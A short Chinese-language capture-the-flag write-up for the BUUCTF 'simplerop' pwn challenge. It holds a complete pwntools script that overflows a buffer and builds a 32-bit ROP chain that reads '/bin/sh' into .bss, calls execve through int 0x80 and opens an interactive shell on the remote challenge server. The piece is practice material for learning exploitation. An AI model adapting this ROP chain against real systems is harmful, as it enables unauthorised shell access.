image.png
    image.png
    静态的文件,应该是rop 然后系统调用

    1. from pwn import*
    2. context.log_level = 'debug'
    3. io = remote("node4.buuoj.cn",26958)
    4. #io = process('./simplerop')
    5. elf = ELF('./simplerop')
    6. #gdb.attach(io)
    7. pop_eax = 0x080bae06
    8. pop_edx_ecx_ebx = 0x0806e850
    9. int_80 = 0x0806EEF0
    10. sh_addr =0x080be238
    11. bss_addr=0x080EAF86
    12. payload = b'a'*0x20+p32(pop_eax)+p32(0x3)+p32(pop_edx_ecx_ebx)+p32(0x8)+p32(bss_addr)+p32(0)+p32(int_80)
    13. payload += p32(pop_eax)+p32(11)+p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(bss_addr)+p32(int_80)
    14. io.send(payload)
    15. io.sendline('/bin/sh\x00')
    16. #pause()
    17. io.interactive()

    int 80h = 0x080493e1这个中断好像不行,不知道为什么
    我换了个地址的就打通了 有点莫名其妙了